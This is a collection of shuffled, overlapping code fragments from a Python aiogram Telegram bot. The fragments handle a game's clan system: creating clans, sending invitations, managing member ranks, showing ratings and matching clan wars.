"text=msg_text.format( clan_member.clan.name, clan_member.clan.description[:21], len(clan_members), ), reply_markup=keyboard ) await state.update_data({ \"clan_members_msg\": clan_members_msg }) elif", "session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() if callback.data == \"start_search_contest\": msg_text", "if checked_clan_member.rank != \"Лидер\" and clan_member.rank != checked_clan_member.rank: session.db.query( tables.ClanMember).filter_by(id=member_id).delete() session.db.commit() keyboard =", "clan_member.clan.emoji, clan_member.clan.name, clan_member.clan.description[:21], clan_member.clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.update_data({ \"user_id\": user_id,", "state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() return clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all()", "def clan_invitation_pages_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg:", "\"🌶\", \"💩\", \"💧\", \"🌈\", \"🌞\", \"🌻\", \"🌹\", \"☠\", \"🥀\", \"🦄\", \"🐙\", \"🎃\", \"👾\",", "checked_clan_member.rank == \"Старейшина\": checked_clan_member.rank = \"Заместитель\" session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text(", "callback.data) cancel_invitation = re.findall(r\"cancel_invitation_(\\d+)\", callback.data) session = db_api.CreateSession() if invitation: invitation_id = int(invitation[0])", "session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() if clan_invitation_table.clan.creator == user_id: rank = \"Лидер\" else: rank = \"Рекрут\"", "clan_msg = await message.reply( text=\"Придумайте <b>описание</b> для \\n\" \"клана. (макс. 21 символ)\\n\" \"<i>Ответив", "clans_rating=[0, 0], colors=[\"blue\", \"red\"] ) session.db.add(new_contest) msg_text = read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back", "\"clan_msg\": clan_msg }) session.close() @dp.message_handler(filters.IsReplyFilter(True), regexp=ClanRegexp.invite, state=\"*\") async def invite_user_clan_handler(message: types.Message): user_id =", "msg_text = read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query(", "if clan_member_table is None: return if clan_member_table.rank in (\"Лидер\", \"Заместитель\", \"Старейшина\"): invited_clan_member_table: tables.ClanMember", "\"💩\", \"💧\", \"🌈\", \"🌞\", \"🌻\", \"🌹\", \"☠\", \"🥀\", \"🦄\", \"🐙\", \"🎃\", \"👾\", \"🔱\"", "read_txt_file(\"text/clan/member\") await clan_msg.edit_text( text=msg_text.format( checked_clan_member.user.first_name, checked_clan_member.contest_score, checked_clan_member.rank, ), reply_markup=keyboard ) elif raise_member: member_id", "if message.reply_to_message.message_id == data.get(\"message_id\"): clan_name = message.text[:16] clan_msg = await message.reply( text=\"Придумайте <b>описание</b>", "read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) except exceptions.MessageNotModified: pass @dp.callback_query_handler(regexp=ClanRegexp.invitation) async def clan_invitation_handler(callback:", "\"🦄\", \"🐙\", \"🎃\", \"👾\", \"🔱\" ] session = db_api.CreateSession() if callback.data in emojis:", "0: await callback.answer(\"Станет доступно позже.\") session.close() return msg_text = read_txt_file(\"text/clan/get_clan_units\") keyboard = kb_constructor.StandardKeyboard(", "utils.classes.regexps import ClanRegexp @dp.message_handler(state=\"*\", commands=\"clan\") async def clan_command_handler(message: types.Message, state: FSMContext): user_id =", "return msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_cancel_contest ) elif clan_member.clan.state == \"contest\":", "from aiogram.dispatcher import FSMContext from utils.misc.read_file import read_txt_file from utils.db_api import tables, db_api", "<b>логотип</b> вашего клана.\", reply_markup=keyboard ) await state.update_data({ \"set_emoji_msg\": set_emoji_msg }) await states.Clan.set_emoji.set() @dp.callback_query_handler(state=states.Clan.set_emoji)", "clan_invitation_msg }) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.menu) async def clan_menu_handler(callback: types.CallbackQuery, state: FSMContext): data", "}) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.menu) async def clan_menu_handler(callback: types.CallbackQuery, state: FSMContext): data =", "read_txt_file(\"text/clan/destroyed_clan\") await message.answer( text=msg_text, ) session.close() return if clan_member is None: msg_text =", "recent_log=[\"Война началась.\"], log=[\"Война началась.\"], state_timer=None, territory_names=[\"Russia\", \"Germany\"], territory_owners=[None, None], territory_units=[0, 0], territory_captures=[None, None],", "\"Старейшина\"): invited_clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=replied_user.id, table=tables.ClanMember ) invited_user_table: tables.User = session.filter_by_user_id( user_id=replied_user.id,", "await state.update_data({ \"message_id\": clan_msg.message_id }) await states.Clan.set_name.set() elif callback.data == \"clans_rating\": clan_table: typing.List[tables.Clan]", "await message.answer( text=msg_text, ) session.close() return if clan_member is None: msg_text = read_txt_file(\"text/clan/without_clan\")", "else: msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_search_contest ) elif callback.data == \"clan_members\":", "member_id = int(clan_member_id[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).join(tables.User).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_member_keyboard(member_id, clan_member)", "clan_back_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id clan_msg: types.Message", "session.db.query( tables.ClanMember).filter_by(user_id=user_id).delete() session.db.commit() await clan_msg.edit_text( text=\"Клан\", reply_markup=keyboards.clan.kb_none_clan ) elif callback.data == \"no_leave_clan\": await", "покинуть клан?\", reply_markup=keyboards.clan.kb_leave_clan ) elif callback.data == \"yes_leave_clan\": session.db.query( tables.ClanMember).filter_by(user_id=user_id).delete() session.db.commit() await clan_msg.edit_text(", "tables.ClanInvitation).filter_by( clan_id=clan_member_table.clan_id, user_id=replied_user.id).first() if invited_user_table is None or invited_clan_invitation_table is not None: return", "kick_member = re.findall(r\"kick_clan_member_(\\d+)\", callback.data) if clan_member_id: member_id = int(clan_member_id[0]) checked_clan_member: tables.ClanMember = session.db.query(", "-= 5000 else: await callback.answer( \"Для создания клана не хватает {} 💰\".format( 5000", "= db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() if", "data = await state.get_data() if message.reply_to_message.message_id == data.get(\"message_id\"): clan_name = message.text[:16] clan_msg =", "except exceptions.MessageNotModified: pass @dp.callback_query_handler(regexp=ClanRegexp.invitation) async def clan_invitation_handler(callback: types.CallbackQuery, state: FSMContext): data = await", "tables.Clan = session.db.query( tables.Clan).filter_by(creator=user_id).first() if clan is not None: new_clan_member = tables.ClanMember( clan_id=clan.clan_id,", "session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await callback.message.answer(", "from utils.misc.read_file import read_txt_file from utils.db_api import tables, db_api from utils.classes import kb_constructor,", "clan_member is None: msg_text = read_txt_file(\"text/clan/without_clan\") clan_msg = await message.answer( text=msg_text, reply_markup=keyboards.clan.kb_none_clan )", "read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup, ) await callback.answer() @dp.callback_query_handler(regexp=ClanRegexp.without_clan) async", "async def clan_back_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data() user_id = callback.from_user.id", "clan_2: tables.Clan = random.choice(clans_search) clan_1.state = \"contest\" clan_2.state = \"contest\" new_contest = tables.Contest(", "clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.reset_state(with_data=True) await state.set_data({ \"user_id\": user_id, \"clan_msg\":", "await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.callback_query_handler(regexp=ClanRegexp.back) async def clan_back_handler(callback: types.CallbackQuery,", "clan.name, clan.rating) clan_num += 1 msg_text = read_txt_file(\"text/clan/rating\") await clan_msg.edit_text( text=msg_text.format(text), reply_markup=keyboards.clan.kb_back )", "raise_member = re.findall(r\"raise_clan_member_(\\d+)\", callback.data) kick_member = re.findall(r\"kick_clan_member_(\\d+)\", callback.data) if clan_member_id: member_id = int(clan_member_id[0])", "clan_msg.message_id }) await states.Clan.set_name.set() elif callback.data == \"clans_rating\": clan_table: typing.List[tables.Clan] = session.db.query( tables.Clan).order_by(desc(tables.Clan.rating)).all()", "\"{}. <b>{}</b> [ <code>{}</code> ⭐ ]\\n\".format(clan_num, clan.name, clan.rating) clan_num += 1 msg_text =", "+= \"{}. <b>{}</b> [ <code>{}</code> ⭐ ]\\n\".format(clan_num, clan.name, clan.rating) clan_num += 1 msg_text", "== \"yes_leave_clan\": session.db.query( tables.ClanMember).filter_by(user_id=user_id).delete() session.db.commit() await clan_msg.edit_text( text=\"Клан\", reply_markup=keyboards.clan.kb_none_clan ) elif callback.data ==", "kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) elif cancel_invitation: invitation_id", "\"clan_settings\": await callback.answer(\"В разработке...\") await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.invitation_page) async def clan_invitation_pages_handler(callback: types.CallbackQuery, state:", "text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) else: msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_search_contest ) elif", "session = db_api.CreateSession() clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=user_id, table=tables.ClanMember ) if clan_member_table is", "!= checked_clan_member.rank: session.db.query( tables.ClanMember).filter_by(id=member_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_members_keyboard() await clan_msg.edit_text( text=clan_members_msg.html_text, reply_markup=keyboard", "= read_txt_file(\"text/clan/clan_invitations\") clan_invitation_msg = await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await state.update_data({ \"clan_invitation_msg\": clan_invitation_msg", "message.reply_to_message.from_user session = db_api.CreateSession() clan_member_table: tables.ClanMember = session.filter_by_user_id( user_id=user_id, table=tables.ClanMember ) if clan_member_table", "clan_invitation_msg = await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await state.update_data({ \"clan_invitation_msg\": clan_invitation_msg }) await", "clan is not None: new_clan_member = tables.ClanMember( clan_id=clan.clan_id, user_id=user_id, clan_units=0, rank=\"Лидер\" ) session.db.add(new_clan_member)", "клана не хватает {} 💰\".format( 5000 - townhall.money) ) session.close() return clan_msg =", "== \"get_clan_units\": if clan_member.donate_timer != 0: await callback.answer(\"Станет доступно позже.\") session.close() return msg_text", "async def set_clan_description(message: types.Message, state: FSMContext): data = await state.get_data() user_id = message.from_user.id", ") session.close() return msg_text = read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_cancel_contest ) elif clan_member.clan.state", "5000: townhall.money -= 5000 else: await callback.answer( \"Для создания клана не хватает {}", "len(clan_members), ), reply_markup=keyboard ) await state.update_data({ \"clan_members_msg\": clan_members_msg }) elif callback.data == \"clan_settings\":", "callback.message.answer( text=msg_text.format( clan.emoji, clan.name, clan.description[:21], clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.reset_state(with_data=True)", "data.get(\"clan_name\") clan_description = data.get(\"clan_description\") clan_emoji = callback.data new_clan = tables.Clan( name=clan_name, description=clan_description, emoji=clan_emoji,", ") await state.reset_state(with_data=True) await state.set_data({ \"user_id\": user_id, \"clan_msg\": clan_msg }) session.close() @dp.message_handler(filters.IsReplyFilter(True), regexp=ClanRegexp.invite,", "user_id, \"clan_msg\": clan_msg }) session.close() @dp.message_handler(filters.IsReplyFilter(True), regexp=ClanRegexp.invite, state=\"*\") async def invite_user_clan_handler(message: types.Message): user_id", "= message.text[:21] await state.update_data({ \"clan_description\": clan_description, }) keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_emoji_clan_keyboard() set_emoji_msg =", "None: new_clan_member = tables.ClanMember( clan_id=clan.clan_id, user_id=user_id, clan_units=0, rank=\"Лидер\" ) session.db.add(new_clan_member) session.db.commit() clan_member: tables.ClanMember", "= re.findall(r\"cancel_invitation_(\\d+)\", callback.data) session = db_api.CreateSession() if invitation: invitation_id = int(invitation[0]) clan_invitation_table: tables.ClanInvitation", "typing.List[tables.Clan] = session.db.query( tables.Clan).order_by(desc(tables.Clan.rating)).all() text = \"\" clan_num = 1 for clan in", "= message.from_user.id if message.reply_to_message.message_id == data.get(\"message_id\"): clan_description = message.text[:21] await state.update_data({ \"clan_description\": clan_description,", "clan.rating) clan_num += 1 msg_text = read_txt_file(\"text/clan/rating\") await clan_msg.edit_text( text=msg_text.format(text), reply_markup=keyboards.clan.kb_back ) elif", "message.answer( text=msg_text, ) session.close() return if clan_member is None: msg_text = read_txt_file(\"text/clan/without_clan\") clan_msg", "data.get(\"clan_description\") clan_emoji = callback.data new_clan = tables.Clan( name=clan_name, description=clan_description, emoji=clan_emoji, rating=0, money=0, units=0,", "\"клана. (макс. 16 символов)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await state.update_data({ \"message_id\": clan_msg.message_id", "= read_txt_file(\"text/clan/contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) elif clan_member.clan.state == \"ending\": msg_text =", "clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard(", "для своего\\n\" \"клана. (макс. 16 символов)\\n\" \"<i>Ответив на это сообщение.</i>\" ) await state.update_data({", "text=msg_text.format( checked_clan_member.user.first_name, checked_clan_member.contest_score, checked_clan_member.rank, ), reply_markup=keyboard ) elif raise_member: member_id = int(raise_member[0]) checked_clan_member:", "page_move = re.findall(r\"invitation_page_(\\d+)\", callback.data)[0] page = int(page_move) keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard(page) try: msg_text", "\"🌹\", \"☠\", \"🥀\", \"🦄\", \"🐙\", \"🎃\", \"👾\", \"🔱\" ] session = db_api.CreateSession() if", "return msg_text = read_txt_file(\"text/clan/get_clan_units\") keyboard = kb_constructor.StandardKeyboard( user_id=user_id).create_get_clan_units_keyboard() sticker = read_txt_file(\"sticker/get_clan_units\") await callback.message.answer_sticker(sticker=sticker)", "db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_member_id = re.findall(r\"check_clan_member_(\\d+)\", callback.data) raise_member = re.findall(r\"raise_clan_member_(\\d+)\",", "callback.data) kick_member = re.findall(r\"kick_clan_member_(\\d+)\", callback.data) if clan_member_id: member_id = int(clan_member_id[0]) checked_clan_member: tables.ClanMember =", "import desc, and_ from utils.classes.regexps import ClanRegexp @dp.message_handler(state=\"*\", commands=\"clan\") async def clan_command_handler(message: types.Message,", "keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) elif", "session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text( text=msg_text,", "\"create_clan\": if townhall.money >= 5000: townhall.money -= 5000 else: await callback.answer( \"Для создания", "text=clan_members_msg.html_text, reply_markup=keyboard ) elif kick_member: member_id = int(kick_member[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).first()", "from aiogram import types from aiogram.dispatcher import filters from aiogram import exceptions from", "await state.update_data({ \"clan_invitation_msg\": clan_invitation_msg }) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.menu) async def clan_menu_handler(callback: types.CallbackQuery,", "= \"\" clan_num = 1 for clan in clan_table[:10]: text += \"{}. <b>{}</b>", "db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() buildings: tables.Buildings = session.db.query( tables.Buildings).filter_by(user_id=user_id).first() if buildings.clan_building_lvl", "if checked_clan_member.rank == \"Рекрут\": checked_clan_member.rank = \"Старейшина\" elif checked_clan_member.rank == \"Старейшина\": checked_clan_member.rank =", "session.db.add(new_clan_member) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() await callback.answer(\"Вы вступили в клан!\") keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard()", "in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank != \"Лидер\" and clan_member.rank != checked_clan_member.rank: session.db.query( tables.ClanMember).filter_by(id=member_id).delete()", "db_api.CreateSession() townhall: tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() if callback.data == \"create_clan\": if townhall.money >=", "что хотите покинуть клан?\", reply_markup=keyboards.clan.kb_leave_clan ) elif callback.data == \"yes_leave_clan\": session.db.query( tables.ClanMember).filter_by(user_id=user_id).delete() session.db.commit()", "text += \"{}. <b>{}</b> [ <code>{}</code> ⭐ ]\\n\".format(clan_num, clan.name, clan.rating) clan_num += 1", "\"❤\", \"‍🔥\", \"💖\", \"🍩\", \"🌶\", \"💩\", \"💧\", \"🌈\", \"🌞\", \"🌻\", \"🌹\", \"☠\", \"🥀\",", "clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clans_search: typing.List[tables.Clan] =", "\"‍🔥\", \"💖\", \"🍩\", \"🌶\", \"💩\", \"💧\", \"🌈\", \"🌞\", \"🌻\", \"🌹\", \"☠\", \"🥀\", \"🦄\",", "\"🐙\", \"🎃\", \"👾\", \"🔱\" ] session = db_api.CreateSession() if callback.data in emojis: set_emoji_msg:", "reply_markup=keyboards.clan.kb_back ) elif callback.data == \"clan_invitation\": keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\")", "typing.List[tables.Clan] = session.db.query( tables.Clan).filter(and_( tables.Clan.state == \"search\", tables.Clan.clan_id != clan_member.clan_id)).all() if callback.data ==", "from loader import dp from aiogram import types from aiogram.dispatcher import filters from", "from sqlalchemy import desc, and_ from utils.classes.regexps import ClanRegexp @dp.message_handler(state=\"*\", commands=\"clan\") async def", "clan_name = data.get(\"clan_name\") clan_description = data.get(\"clan_description\") clan_emoji = callback.data new_clan = tables.Clan( name=clan_name,", "= kb_constructor.StandardKeyboard(user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await message.answer( text=msg_text.format( clan_member.clan.emoji, clan_member.clan.name, clan_member.clan.description[:21],", "tables.TownHall = session.db.query( tables.TownHall).filter_by(user_id=user_id).first() if callback.data == \"create_clan\": if townhall.money >= 5000: townhall.money", "re.findall(r\"kick_clan_member_(\\d+)\", callback.data) if clan_member_id: member_id = int(clan_member_id[0]) checked_clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(id=member_id).join(tables.User).first() keyboard", "clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.contest) async def clan_contest_handler(callback: types.CallbackQuery, state:", ") elif clan_member.clan.state == \"ending\": msg_text = read_txt_file(\"text/clan/ending_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back )", "= read_txt_file(\"text/clan/in_clan\") clan_msg = await message.answer( text=msg_text.format( clan_member.clan.emoji, clan_member.clan.name, clan_member.clan.description[:21], clan_member.clan.rating, len(clan_members), clan_creator.first_name,", "callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.get_clan_units) async def clan_getting_units_handler(callback: types.CallbackQuery, state: FSMContext): data = await state.get_data()", "\"cancel_search_contest\": msg_text = read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_search_contest ) clan_member.clan.state = None await", "clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_back ) elif clan_member.clan.state == \"ending\": msg_text = read_txt_file(\"text/clan/ending_contest\") await clan_msg.edit_text(", "session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clans_search: typing.List[tables.Clan] = session.db.query( tables.Clan).filter(and_( tables.Clan.state", "invited_user_table: tables.User = session.filter_by_user_id( user_id=replied_user.id, table=tables.User) invited_clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by( clan_id=clan_member_table.clan_id, user_id=replied_user.id).first()", "= tables.Clan( name=clan_name, description=clan_description, emoji=clan_emoji, rating=0, money=0, units=0, creator=user_id ) session.db.add(new_clan) session.db.commit() clan:", "на это сообщение.</i>\" ) await state.update_data({ \"clan_name\": clan_name, \"message_id\": clan_msg.message_id }) await states.Clan.set_description.set()", "read_txt_file from utils.db_api import tables, db_api from utils.classes import kb_constructor, timer from sqlalchemy", "session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard = kb_constructor.StandardKeyboard(user_id=user_id).create_clan_keyboard() msg_text = read_txt_file(\"text/clan/in_clan\") clan_msg = await message.answer( text=msg_text.format(", "db_api.CreateSession() if invitation: invitation_id = int(invitation[0]) clan_invitation_table: tables.ClanInvitation = session.db.query( tables.ClanInvitation).filter_by(id=invitation_id).join(tables.Clan).first() keyboard =", "callback.data == \"clans_rating\": clan_table: typing.List[tables.Clan] = session.db.query( tables.Clan).order_by(desc(tables.Clan.rating)).all() text = \"\" clan_num =", "session.db.query( tables.ClanInvitation).filter_by( clan_id=clan_member_table.clan_id, user_id=replied_user.id).first() if invited_user_table is None or invited_clan_invitation_table is not None:", "\"💖\", \"🍩\", \"🌶\", \"💩\", \"💧\", \"🌈\", \"🌞\", \"🌻\", \"🌹\", \"☠\", \"🥀\", \"🦄\", \"🐙\",", "int(cancel_invitation[0]) session.db.query(tables.ClanInvitation).filter_by( id=invitation_id).delete() session.db.commit() keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") await clan_msg.edit_text(", "await clan_msg.edit_text( text=msg_text.format( clan_member.clan.name, clan_member.clan.description[:21], len(clan_members), ), reply_markup=keyboard ) await state.update_data({ \"clan_members_msg\": clan_members_msg", "clan_member.clan.description[:21], clan_member.clan.rating, len(clan_members), clan_creator.first_name, clan_member.rank), reply_markup=keyboard ) await state.update_data({ \"user_id\": user_id, \"clan_msg\": clan_msg", "= read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) session = db_api.CreateSession() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first()", "text=\"Клан\", reply_markup=keyboards.clan.kb_none_clan ) elif callback.data == \"no_leave_clan\": await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup ) await", "user_id, \"clan_msg\": clan_msg }) session.close() @dp.callback_query_handler(regexp=ClanRegexp.back) async def clan_back_handler(callback: types.CallbackQuery, state: FSMContext): data", "= session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_member_id = re.findall(r\"check_clan_member_(\\d+)\", callback.data) raise_member = re.findall(r\"raise_clan_member_(\\d+)\", callback.data) kick_member =", "text=\"Вы уверены,\\n что хотите покинуть клан?\", reply_markup=keyboards.clan.kb_leave_clan ) elif callback.data == \"yes_leave_clan\": session.db.query(", "await state.get_data() user_id = callback.from_user.id emojis = [ \"❤\", \"‍🔥\", \"💖\", \"🍩\", \"🌶\",", "log=[\"Война началась.\"], state_timer=None, territory_names=[\"Russia\", \"Germany\"], territory_owners=[None, None], territory_units=[0, 0], territory_captures=[None, None], clans_rating=[0, 0],", "}) session.close() @dp.message_handler(filters.IsReplyFilter(True), regexp=ClanRegexp.invite, state=\"*\") async def invite_user_clan_handler(message: types.Message): user_id = message.from_user.id replied_user", "session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() if callback.data == \"get_clan_units\": if clan_member.donate_timer != 0: await callback.answer(\"Станет доступно", "tables.ClanMember).filter_by(id=member_id).first() if clan_member.rank in (\"Заместитель\", \"Лидер\"): if checked_clan_member.rank == \"Рекрут\": checked_clan_member.rank = \"Старейшина\"", "user_id=user_id).create_emoji_clan_keyboard() set_emoji_msg = await message.answer( text=\"Выберите <b>логотип</b> вашего клана.\", reply_markup=keyboard ) await state.update_data({", "tables.ClanMember).filter_by(user_id=user_id).first() clan_members: typing.List[tables.ClanMember] = session.db.query( tables.ClanMember).filter_by(clan_id=clan_member.clan_id).all() clan_creator: tables.User = session.db.query( tables.User).filter_by(user_id=clan_member.clan.creator).first() keyboard =", "== \"search\": if clans_search: clan_1: tables.Clan = clan_member.clan clan_2: tables.Clan = random.choice(clans_search) clan_1.state", "session.db.query( tables.ClanMember).filter_by(user_id=user_id).join(tables.Clan).first() buildings: tables.Buildings = session.db.query( tables.Buildings).filter_by(user_id=user_id).first() if buildings.clan_building_lvl == 0: sticker =", "callback.data)[0] page = int(page_move) keyboard = kb_constructor.PaginationKeyboard( user_id=user_id).create_invitation_keyboard(page) try: msg_text = read_txt_file(\"text/clan/clan_invitations\") await", "rank=\"Лидер\" ) session.db.add(new_clan_member) session.db.commit() clan_member: tables.ClanMember = session.db.query( tables.ClanMember).filter_by(user_id=user_id).first() clan_members: typing.List[tables.ClanMember] = session.db.query(", "read_txt_file(\"text/clan/search_contest\") await clan_msg.edit_text( text=msg_text, reply_markup=keyboards.clan.kb_cancel_contest ) clan_member.clan.state = \"search\" elif callback.data == \"cancel_search_contest\":", "!= 0: await callback.answer(\"Станет доступно позже.\") session.close() return msg_text = read_txt_file(\"text/clan/get_clan_units\") keyboard =", "state.get_data() user_id = callback.from_user.id if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\") return await", "accept_invitation = re.findall(r\"accept_invitation_(\\d+)\", callback.data) cancel_invitation = re.findall(r\"cancel_invitation_(\\d+)\", callback.data) session = db_api.CreateSession() if invitation:", "await callback.answer(msg_text) invitation = re.findall(r\"open_invitation_(\\d+)\", callback.data) accept_invitation = re.findall(r\"accept_invitation_(\\d+)\", callback.data) cancel_invitation = re.findall(r\"cancel_invitation_(\\d+)\",", "= read_txt_file(\"text/clan/none_contest\") await clan_msg.edit_text( text=msg_text.format(clan_member.clan.contest_count), reply_markup=keyboards.clan.kb_search_contest ) elif callback.data == \"clan_members\": keyboard =", "= await state.get_data() user_id = callback.from_user.id if data.get(\"user_id\") != user_id: msg_text = read_txt_file(\"text/hints/foreign_button\")", "units=0, creator=user_id ) session.db.add(new_clan) session.db.commit() clan: tables.Clan = session.db.query( tables.Clan).filter_by(creator=user_id).first() if clan is", "if callback.data == \"clan_war\": if clan_member.clan.state == \"search\": if clans_search: clan_1: tables.Clan =", "None await callback.answer() session.close() @dp.message_handler(filters.IsReplyFilter(True), state=states.Clan.set_name) async def set_clan_name(message: types.Message, state: FSMContext): data", ") session.close() return if clan_member is None: msg_text = read_txt_file(\"text/clan/without_clan\") clan_msg = await", "msg_text = read_txt_file(\"text/clan/without_clan\") clan_msg = await message.answer( text=msg_text, reply_markup=keyboards.clan.kb_none_clan ) await state.update_data({ \"user_id\":", "= tables.Contest( clan_id_1=clan_1.clan_id, clan_id_2=clan_2.clan_id, recent_log=[\"Война началась.\"], log=[\"Война началась.\"], state_timer=None, territory_names=[\"Russia\", \"Germany\"], territory_owners=[None, None],", "clan_msg }) session.close() @dp.message_handler(filters.IsReplyFilter(True), regexp=ClanRegexp.invite, state=\"*\") async def invite_user_clan_handler(message: types.Message): user_id = message.from_user.id", "= read_txt_file(\"text/hints/foreign_button\") return await callback.answer(msg_text) page_move = re.findall(r\"invitation_page_(\\d+)\", callback.data)[0] page = int(page_move) keyboard", "\"no_leave_clan\": await clan_msg.edit_text( text=clan_msg.html_text, reply_markup=clan_msg.reply_markup ) await callback.answer() session.close() @dp.callback_query_handler(regexp=ClanRegexp.contest) async def clan_contest_handler(callback:", "user_id=user_id).create_invitation_keyboard() msg_text = read_txt_file(\"text/clan/clan_invitations\") clan_invitation_msg = await clan_msg.edit_text( text=msg_text, reply_markup=keyboard ) await state.update_data({", "is None: return if clan_member_table.rank in (\"Лидер\", \"Заместитель\", \"Старейшина\"): invited_clan_member_table: tables.ClanMember = 